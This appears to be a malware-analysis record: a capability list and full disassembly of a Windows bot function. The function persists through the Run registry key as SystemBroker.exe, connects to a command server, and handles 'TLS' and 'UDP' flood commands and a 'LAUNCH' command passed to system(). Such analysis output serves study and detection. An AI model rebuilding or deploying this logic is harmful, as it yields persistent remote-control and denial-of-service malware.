Function at 0x140001890
Capabilities:
Connect socket
Convert ip address from string
Execute command
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0xae8]
sub rsp, 0xbe8
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0xac0], rax
lea rdx, str.C:WindowsSystemBroker.exe
lea rcx, [rbp - 0x80]
call fcn.1400020f0
lea rdx, str.SystemBroker
lea rcx, [rsp + 0x30]
call fcn.1400020f0
xor ebx, ebx
lea r8, [rsp + 0x50]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x50], rbx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x14000191d
lea rdx, str.Error:_Unable_to_create_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400022c0
mov rcx, rax
lea rdx, [0x1400024a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140001981
cmp qword [rbp - 0x68], 8
lea rcx, [rbp - 0x80]
mov eax, dword [rbp - 0x70]
lea rdx, [rsp + 0x30]
cmovae rcx, qword [rbp - 0x80]
mov r9d, 1
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x14000197b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Error:_Unable_to_set_registry_value.
jmp 0x1400018ff
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400019bf
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a09
call fcn.140002b28
mov rdx, qword [rbp - 0x68]
movdqa xmm0, xmmword [0x140004640]
mov word [rsp + 0x30], bx
movdqu xmmword [rsp + 0x40], xmm0
cmp rdx, 8
jb 0x140001a15
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a10
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b28
mov qword [rsp + 0xc10], r12
lea rdx, [rbp - 0x50]
mov ecx, 0x202
mov qword [rsp + 0xbe0], r13
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001ba6
mov r13d, 2
lea edx, [rax + 1]
mov ecx, r13d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001ba6
mov ecx, 0x1f90
mov word [rbp - 0x60], r13w
call qword [sym.imp.WS2_32.dll_htons]
movsd xmm0, qword [str.xpoxsosupopvv]
lea rdx, [rsp + 0x30]
mov word [rbp - 0x5e], ax
lea rcx, [rbp - 0x80]
mov eax, dword [0x1400045f0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1400045f4]
mov byte [rsp + 0x3c], al
mov word [rsp + 0x3e], bx
mov qword [rsp + 0x40], sendto
mov qword [rsp + 0x48], sendto
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x3d], bl
call fcn.1400011c0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001afb
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001af6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b9a
call fcn.140002b28
lea r8, [rbp - 0x5c]
mov ecx, r13d
lea rdx, str.127.0.0.1
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140001b51
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140001b4a
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b45
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b9a
call fcn.140002b28
mov eax, 0xffffffff
jmp 0x140001bab
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x60]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x140001bd4
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140001ba6
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ba1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ba1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b28
mov eax, 1
mov r12, qword [rsp + 0xc10]
mov r13, qword [rsp + 0xbe0]
mov rcx, qword [rbp + 0xac0]
xor rcx, rsp
call fcn.140002830
add rsp, 0xbe8
pop rbx
pop rbp
ret
mov qword [rsp + 0xc00], rsi
lea rcx, [rbp + 0x2f0]
mov qword [rsp + 0xc08], rdi
xor edx, edx
mov qword [rsp + 0xbd8], r14
mov r8d, 0x7d0
mov qword [rsp + 0xbd0], r15
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x2f0]
mov r8d, 0x7d0
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rbx
movsxd rcx, eax
mov qword [rsp + 0x78], sendto
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], bl
cmp rcx, 0x7d0
jae 0x1400020e4
nop dword [rax + rax]
mov byte [rbp + rcx + 0x2f0], 0
lea rax, [rbp + 0x2f0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001c66
lea rcx, [rsp + 0x60]
cmp rbx, 0xf
ja 0x140001c95
mov r8, rbx
mov qword [rsp + 0x70], rbx
lea rdx, [rbp + 0x2f0]
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x60], 0
jmp 0x140001ca4
lea r9, [rbp + 0x2f0]
mov rdx, rbx
call fcn.140002670
mov r15, qword [rsp + 0x78]
lea rdi, [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
cmp r15, 0x10
mov rbx, qword [rsp + 0x70]
cmovae rdi, rsi
cmp rbx, 3
jb 0x140001d10
lea r14, [rbx + rdi]
mov edx, 0x54
lea r8, [r14 - 2]
mov rcx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001d10
cmp word [rax], 0x4c54
jne 0x140001cf4
cmp byte [rax + 2], 0x53
je 0x140001dea
inc rax
lea r8, [r14 - 2]
sub r8, rax
mov rcx, rax
mov edx, 0x54
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001ce3
cmp r15, 0x10
lea rdi, [rsp + 0x60]
cmovae rdi, rsi
cmp rbx, 3
jb 0x140001d75
lea r14, [rbx + rdi]
mov edx, 0x55
lea r8, [r14 - 2]
mov rcx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140001d75
cmp word [r9], 0x4455
jne 0x140001d56
cmp byte [r9 + 2], 0x50
je 0x140001e4a
inc r9
lea r8, [r14 - 2]
sub r8, r9
mov rcx, r9
mov edx, 0x55
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x140001d43
cmp r15, 0x10
lea rdi, [rsp + 0x60]
cmovae rdi, rsi
cmp rbx, 6
jb 0x140002040
lea r14, [rbx + rdi]
mov edx, 0x4c
lea r8, [r14 - 5]
mov rcx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140002040
cmp dword [r9], 0x4e55414c
jne 0x140001dc6
cmp word [r9 + 4], 0x4843
je 0x140001fd2
inc r9
lea r8, [r14 - 5]
sub r8, r9
mov rcx, r9
mov edx, 0x4c
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x140001db0
jmp 0x140002040
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x140001d10
cmp rbx, rax
jb 0x1400020de
mov rcx, rbx
mov edx, 4
sub rcx, rax
cmp rcx, rdx
cmovb rdx, rcx
cmp r15, 0x10
lea rcx, [rsp + 0x60]
cmovae rcx, rsi
sub rbx, rdx
add rcx, rax
mov r8, rbx
sub r8, rax
add rdx, rcx
inc r8
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x70], rbx
call fcn.140001390
jmp 0x140002036
sub r9, rdi
cmp r9, 0xffffffffffffffff
je 0x140001d75
cmp rbx, r9
jb 0x1400020de
mov rax, rbx
lea rcx, [rsp + 0x60]
sub rax, r9
mov edx, 4
cmp rax, rdx
cmovb rdx, rax
cmp r15, 0x10
cmovae rcx, rsi
sub rbx, rdx
add rcx, r9
mov r8, rbx
sub r8, r9
add rdx, rcx
inc r8
call sub.VCRUNTIME140.dll_memmove
movzx eax, word [0x140004610]
lea rdx, [rbp + 0x150]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rbx
movups xmmword [rsp + 0x30], xmm0
mov ecx, 0x202
mov qword [rsp + 0x40], 0xa
movsd xmm0, qword [str.kotobotnet]
movsd qword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], sendto
mov word [rsp + 0x38], ax
mov byte [rsp + 0x3a], 0
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001f8f
xor r8d, r8d
mov edx, r13d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001f89
mov ecx, 0x50
mov word [rbp - 0x80], r13w
call qword [sym.imp.WS2_32.dll_htons]
cmp qword [rsp + 0x78], 0x10
lea rdx, [rsp + 0x60]
lea r8, [rbp - 0x7c]
mov word [rbp - 0x7e], ax
cmovae rdx, qword [rsp + 0x60]
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140001f80
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp qword [rsp + 0x48], 0x10
lea rax, [rbp - 0x80]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
mov rcx, rbx
xor r9d, r9d
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002036
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fcb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020d0
call fcn.140002b28
jmp 0x140002036
sub r9, rdi
cmp r9, 0xffffffffffffffff
je 0x140002040
cmp rbx, r9
jb 0x1400020de
mov rax, rbx
lea rcx, [rsp + 0x60]
sub rax, r9
mov edx, 7
cmp rax, rdx
cmovb rdx, rax
cmp r15, 0x10
cmovae rcx, rsi
sub rbx, rdx
add rcx, r9
mov r8, rbx
sub r8, r9
add rdx, rcx
inc r8
call sub.VCRUNTIME140.dll_memmove
cmp qword [rsp + 0x78], 0x10
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x70], rbx
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 0x10
jb 0x140002073
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000206b
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020d7
mov rcx, rsi
call fcn.140002b28
xor edx, edx
lea rcx, [rbp + 0x2f0]
mov r8d, 0x7d0
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x2f0]
mov r8d, 0x7d0
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rsp + 0x70], 0
movsxd rcx, eax
mov qword [rsp + 0x78], sendto
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0
cmp rcx, 0x7d0
jae 0x1400020e4
jmp 0x140001c50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022a0
int3
call fcn.140002958
int3